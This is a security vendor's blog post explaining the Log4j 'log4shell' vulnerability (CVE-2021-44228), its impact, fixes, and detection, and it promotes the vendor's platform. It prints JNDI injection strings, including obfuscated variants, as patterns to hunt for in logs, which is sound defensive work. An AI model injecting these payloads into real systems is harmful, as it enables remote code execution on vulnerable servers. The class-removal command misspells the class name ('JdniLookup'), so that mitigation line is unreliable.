December 20, 2021

Watch the Apache Log4j Vulnerability Unfold & Learn How to Fix It

Analysis of CVE-2021-44228 / log4shell exploits, detections and mitigations

What is the vulnerability?

Apache Log4j 2.x is an open-source library that is widely used for logging in Java-based applications. When a developer wants to log messages, such as errors or stack traces for debugging, they will often import and use a library like log4j.

The zero-day vulnerability, known as CVE-2021-44228 or log4shell, exploits log4j’s ability to process message lookups. This functionality allows for string substitution when a message is logged. For example, logging User: ${env:USER} would dynamically resolve the current user running the application. An attacker can craft a specific message using JNDI with remote lookups via LDAP or RMI, which can load and execute malicious code. If this message is logged by log4j, it will trigger the exploit on vulnerable versions. Currently, this is often seen on web servers where user-supplied input may be logged, such as in user agent strings, URI paths, and POST data.

In the next few sections, we’ll go into why this is one of the most critical vulnerabilities in recent years and how SnapAttack can help better understand the threat and protect your organization.

Why do I care?

This vulnerability is remotely exploitable without authentication, and there are several proofs-of-concept that exist. It has been actively exploited since December 9th, and possibly even earlier. The Apache Software Foundation, which Log4j is a project of, gave Log4Shell a CVSS rating of 10.0, the highest available score. The vulnerability was characterized by cybersecurity firm Tenable as “the single biggest, most critical vulnerability of the last decade”. Due to the widespread use of Log4j and difficulty patching legacy systems, this vulnerability will be around for several months or years.

Log4j is used by several large commercial software vendors.

VMware products, such as vCenter Server
Cisco products, such as AMP, ThreatGrid, and Webex Meetings Server
Atlassian products, such as Confluence
Jamf Pro

A comprehensive list of vendors can be found at https://github.com/NCSC-NL/log4shell/blob/main/software/README.md

How do I fix it?

For commercial software, follow vendor guidance for applying patches and mitigations.

For internal applications, determine whether you are using affected versions of Log4j (between 2.0 and 2.14.1). If possible, upgrade the library to version 2.15.0 or later. In the interim to mitigate the vulnerability, you disable lookups by setting the system property log4j2.formatMsgNoLookups to true (e.g., via -Dlog4j2.formatMsgNoLookups=true on the JVM command for starting the application), or by removing the JndiLookup class from the classpath (e.g., zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JdniLookup.class).

Initially reported by LunaSec, certain JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load remote code using LDAP. This should not be considered a full mitigation as it does not prevent the underlying vulnerability in Log4j. It is also possible to execute code with deserialization via JNDI, but its exploitation highly depends on the existing gadgets. More information about these advanced techniques can be found from Veracode and ysoserial.

How do I know if I’ve been affected?

On the endpoint, you can hunt for the initial compromise by viewing any Log4j application logs by searching for strings that include JDNI requests. At the network level, you may be able to hunt through WAF, proxy, or network logs for these strings. The most basic example would look like:

${jndi:ldap://<ip address or domain name>/<random URI>}

There are also known variants in which attackers may manipulate how the message appears in the logs, and thus thwart basic analytics. These use substitutions like system environment variables, upper or lowercase string conversions, and the ::- notation.

${${env:FOO:-j}ndi${env:BAR:-:}${env:FOO:-l}dap${env:BAR:-:}//127.0.0.1/abc}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://127.0.0.1/123}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1/xyz}

You should also be looking for suspicious post-exploitation activity on these hosts, such as the installation of cryptominers, outbound network connections or beaconing activity, or other post-exploitation activity such as reconnaissance, persistence, or lateral movement.

How can SnapAttack help?

SnapAttack is a platform that helps organizations understand and stay ahead of cyber threats. Our researchers recreated this attack in the platform to capture and analyze the adversary tradecraft and artifacts left behind. We do this for all attacks that we can, because we strongly believe that you need to test your analytics and defenses against true positive attacks, otherwise you can’t be 100% confident that they can stand up to real threats.

Captured attacks such as this will be freely available in the community edition of our platform, launching in early 2022 (note: you can request an invite and be notified when the community edition is available). In the meantime, we’ve open-sourced the vulnerable Java application and attack data on our Github page at https://github.com/snapattack/damn-vulnerable-log4j-app.

Using the captured attack session, our researchers created 10 behavioral analytics specifically to detect Log4j exploitation activity. These include high confidence analytics for the initial exploitation that are alertable for most SOCs, as well as more general post-exploitation analytics (e.g., suspicious child processes of a Java/Tomcat/JBoss/etc server). We recommend deploying both types to have a more comprehensive detection-in-depth strategy, especially given the attack variations and possibility for other related deserialization attacks. These analytics, as well as over 2,000 others, are available to all SnapAttack subscribers.

There are several growing lists of indicators of compromise (IOCs), including known domains/IPs and injection payloads from this attack. Given the ease of exploitation, availability of proofs of concept such as JNDI-Exploit-Kit and python-log4rce, and the variations of injected messages, we don’t believe IOCs to be particularly useful or comprehensive for identifying malicious activity.